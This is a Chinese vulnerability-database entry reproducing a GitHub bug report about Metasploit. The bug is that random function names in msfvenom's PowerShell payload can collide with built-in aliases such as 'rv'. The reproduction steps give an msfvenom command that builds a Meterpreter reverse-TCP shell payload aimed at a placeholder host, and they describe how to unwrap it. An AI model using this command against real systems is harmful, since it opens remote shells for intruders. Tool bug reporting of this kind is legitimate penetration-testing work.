msfvenom psh-cmd payload's random powershell function name collides with builtin commands
漏洞信息
漏洞名称: msfvenom psh-cmd payload’s random powershell function name collides with builtin commands
漏洞类型: 其他
漏洞等级: 中危
漏洞描述: ### 受影响产品
Metasploit Framework 是一个广泛使用的渗透测试工具,它提供了漏洞开发、测试和执行的功能。msfvenom 是 Metasploit 中的一个有效载荷生成器,用于创建各种类型的恶意代码,以便在渗透测试中使用。此问题影响的是 msfvenom 生成的 PowerShell 命令(psh-cmd)有效载荷。
漏洞解释
此漏洞属于命名冲突问题,具体表现为 msfvenom 生成的 PowerShell 脚本中随机生成的函数名可能与 PowerShell 内置命令的别名发生冲突。例如,报告中提到的 rv
函数与 PowerShell 的 Remove-Variable
命令的别名 rv
冲突。这种冲突可能导致脚本执行失败或行为异常,因为 PowerShell 会优先解析内置命令而非用户定义的函数。
影响分析
虽然此漏洞不会直接导致远程代码执行或数据泄露,但它会影响渗透测试的可靠性和有效性。如果生成的脚本因为命名冲突而无法正确执行,可能会阻碍测试进程,甚至暴露测试活动。此外,这种问题在自动化脚本中尤其棘手,因为它依赖于随机生成的名称,难以预测和复现。此问题不需要认证即可触发,且在某些情况下可能被自动化工具利用,导致测试失败。
产品厂商: rapid7
产品名称: metasploit-framework
影响版本: 6.4.68
来源: https://github.com/rapid7/metasploit-framework/issues/20331
类型: rapid7/metasploit-framework:github issues
来源概述
Steps to reproduce
How’d you do it?
msfvenom -p windows/x64/meterpreter/reverse_tcp -f psh-cmd LHOST=x.x.x.x LPORT=xxx
- Unwrap the base64 part inside the payload to reveal the actual powershell script
- Unwrap the compression and base64 part once more
- Now we get the actual evil powershell script that loads the shellcode
- Notice variables and functions have random names
Were you following a specific guide/tutorial or reading documentation?
No
Expected behavior
variable and function names shouldn’t collide with existing ones
Current behavior
There’s a chance that it will collide. In my case:
1 |
|
2nd function collides with Remove-Variable
‘s shortname: rv
Metasploit version
6.4.68
Additional Information
None